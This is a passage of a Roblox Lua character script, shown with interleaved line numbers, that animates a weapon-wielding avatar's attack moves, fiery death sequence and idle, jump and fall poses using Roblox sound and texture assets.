TM.Scale = Vector3.new(1,1,1)
4401
Old = New
4402
coroutine.wrap(function()
4403
for i = 1,0,-0.1 do
4404
wait()
4405
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4406
end
4407
Trail:remove()
4408
end)()
4409
coroutine.wrap(function()
4410
for i = 1,10 do
4411
wait()
4412
Trail.Transparency = Trail.Transparency +0.1
4413
end end)()end end)()
4414
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
4415
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
4416
    so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9) 
4417
    for i=0,1,0.08 do
4418
        swait()
4419
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4420
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4421
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4422
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
4423
        Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
4424
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
4425
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
4426
    end
4427
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
4428
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4429
    for i=0,1,0.08 do
4430
        swait()
4431
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4432
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4433
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4434
        Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
4435
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
4436
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
4437
        RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
4438
    end
4439
    --dmgstop()
4440
    attack=false
4441
    con1:disconnect()
4442
    con2:disconnect()
4443
if TrailDeb == true then
4444
						TrailDeb = false
4445
end
4446
end
4447
4448
function Hai()
4449
    attack=true
4450
    Humanoid.WalkSpeed=0
4451
    so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
4452
    for i=0,1,0.1 do
4453
        swait()
4454
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4455
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4456
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4457
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
4458
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
4459
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4460
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4461
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
4462
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4463
    end
4464
     so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) 
4465
for i=0,1,0.1 do
4466
        swait()
4467
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4468
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4469
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4470
        Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
4471
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4472
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4473
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4474
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
4475
       	LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4476
    end
4477
     so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4478
for i=0,1,0.1 do
4479
        swait()
4480
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4481
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4482
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4483
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
4484
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
4485
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4486
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4487
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
4488
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4489
       
4490
    end
4491
so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
4492
for i=0,1,0.1 do
4493
        swait()
4494
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4495
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4496
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4497
        Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
4498
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4499
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4500
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4501
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
4502
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4503
    end
4504
so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4505
for i=0,1,0.1 do
4506
        swait()
4507
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4508
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4509
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4510
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
4511
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
4512
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4513
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4514
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
4515
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4516
    end
4517
    --dmgstop()
4518
    Humanoid.WalkSpeed=12
4519
    attack=false
4520
end
4521
4522
function Die()
4523
    attack=true
4524
Footsteps:Stop()
4525
Footsteps2:Stop()
4526
local Fire = it("Sound",Character.Torso)
4527
Fire.SoundId = "rbxassetid://192104941"
4528
Fire.Looped = true
4529
Fire.Pitch = 1
4530
Fire.Volume = 1
4531
local Fire2 = it("Sound",Handle2)
4532
Fire2.SoundId = "rbxassetid://192104941"
4533
Fire2.Looped = true
4534
Fire2.Pitch = 1
4535
Fire2.Volume = 1
4536
local Fire3 = it("Sound",Handle)
4537
Fire3.SoundId = "rbxassetid://192104941"
4538
Fire3.Looped = true
4539
Fire3.Pitch = 1
4540
Fire3.Volume = 1
4541
local Fire4 = it("Sound",handle)
4542
Fire4.SoundId = "rbxassetid://192104941"
4543
Fire4.Looped = true
4544
Fire4.Pitch = 1
4545
Fire4.Volume = 1
4546
local fire = Instance.new("ParticleEmitter", Character.Torso)
4547
fire.Lifetime = NumberRange.new(0.5)
4548
fire.Speed = NumberRange.new(1, 3)
4549
fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
4550
fire.Rate = 0
4551
fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4552
fire.LightEmission = 0.6
4553
fire.Texture = "http://www.roblox.com/asset/?id=242911609"
4554
fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4555
local fire2 = Instance.new("ParticleEmitter", Handle)
4556
fire2.Lifetime = NumberRange.new(0.5)
4557
fire2.Speed = NumberRange.new(1, 3)
4558
fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
4559
fire2.Rate = 0
4560
fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4561
fire2.LightEmission = 0.6
4562
fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
4563
fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4564
local fire3 = Instance.new("ParticleEmitter", Handle2)
4565
fire3.Lifetime = NumberRange.new(0.5)
4566
fire3.Speed = NumberRange.new(1, 3)
4567
fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
4568
fire3.Rate = 0
4569
fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4570
fire3.LightEmission = 0.6
4571
fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
4572
fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4573
local fire4 = Instance.new("ParticleEmitter", handle)
4574
fire4.Lifetime = NumberRange.new(0.5)
4575
fire4.Speed = NumberRange.new(1, 3)
4576
fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
4577
fire4.Rate = 0
4578
fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4579
fire4.LightEmission = 0.6
4580
fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
4581
fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4582
    Humanoid.WalkSpeed = 0
4583
    so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
4584
    so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
4585
    for i=0,1,0.08 do
4586
        swait()
4587
        Torso.Velocity=RootPart.CFrame.lookVector*-30
4588
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
4589
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
4590
        handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
4591
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
4592
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
4593
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
4594
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
4595
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
4596
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
4597
    end
4598
    for i=0,1,0.005 do
4599
        swait()
4600
        light.Range=15-10*i
4601
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
4602
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
4603
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
4604
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
4605
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
4606
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
4607
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
4608
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4609
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4610
    end
4611
light.Range=0
4612
    for i=0,1,0.01 do
4613
        swait()
4614
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
4615
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
4616
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
4617
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
4618
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
4619
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
4620
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
4621
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4622
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4623
    end
4624
    so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
4625
    fire.Rate = 1000
4626
    fire2.Rate = 1000
4627
    fire3.Rate = 1000
4628
    fire4.Rate = 1000
4629
	Fire:Play()
4630
	Fire2:Play()
4631
	Fire3:Play()
4632
	Fire4:Play()
4633
    for i=0,1,0.005 do
4634
        swait()
4635
Character.Head.face.Transparency = 0+1*i
4636
LeftArm.Transparency=0+1*i
4637
RightArm.Transparency=0+1*i
4638
LeftLeg.Transparency=0+1*i
4639
RightLeg.Transparency=0+1*i
4640
Head.Transparency=0+1*i
4641
Torso.Transparency=0+1*i
4642
for _,v in pairs(Character:children()) do
4643
                if v:IsA("Hat") then
4644
                        v.Handle.Transparency = 0+1*i
4645
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
4646
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
4647
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
4648
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
4649
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
4650
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
4651
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
4652
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4653
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4654
    end
4655
    end
4656
    --dmgstop()
4657
end
4658
Humanoid.Health = 0
4659
end
4660
4661
equipanim()
4662
4663
local sine = 0
4664
local change = 1
4665
local val = 0
4666
4667
local mananum=0
4668
while true do
4669
swait()
4670
sine = sine + change
4671
local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude 
4672
local velderp=RootPart.Velocity.y
4673
hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
4674
if equipped==true or equipped==false then
4675
if Anim=="Idle" and attack==false then
4676
idle=idle+1
4677
else
4678
idle=0
4679
end
4680
if Humanoid.Health <=20 then
4681
if attack == false then
4682
Humanoid.Health = math.huge
4683
Die()
4684
end
4685
end
4686
if idle>=1000 then
4687
if attack==false then
4688
--Sheath()
4689
end
4690
end
4691
if RootPart.Velocity.y > 1 and hitfloor==nil then 
4692
Anim="Jump"
4693
if attack==false then
4694
Footsteps:Stop()
4695
Footsteps2:Stop()
4696
Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
4697
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4698
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
4699
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
4700
RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4701
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
4702
LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4703
RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
4704
LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
4705
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
4706
Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
4707
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
4708
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4709
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4710
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4711
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4712
end
4713
elseif RootPart.Velocity.y < -1 and hitfloor==nil then 
4714
Anim="Fall"
4715
if attack==false then
4716
Footsteps:Stop()
4717
Footsteps2:Stop()
4718
Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
4719
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4720
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
4721
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
4722
RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4723
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
4724
LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4725
RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
4726
LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
4727
handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4728
Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
4729
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
4730
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4731
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4732
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4733
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4734
end
4735
elseif torvel<1 and hitfloor~=nil then
4736
Anim="Idle"
4737
change=0.5
4738
if idle>=1000 then
4739
if attack==false then
4740
Footsteps:Stop()
4741
Footsteps2:Stop()
4742
Humanoid.WalkSpeed=12
4743
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
4744
Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
4745
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
4746
RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
4747
LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
4748
RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
4749
LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
4750
handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
4751
Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
4752
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
4753
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4754
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4755
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4756
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4757
end
4758
else
4759
if attack==false then
4760
Footsteps:Stop()
4761
Footsteps2:Stop()
4762
Humanoid.WalkSpeed=12
4763
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
4764
Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
4765
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
4766
RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
4767
LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
4768
RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
4769
LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
4770
handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
4771
Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
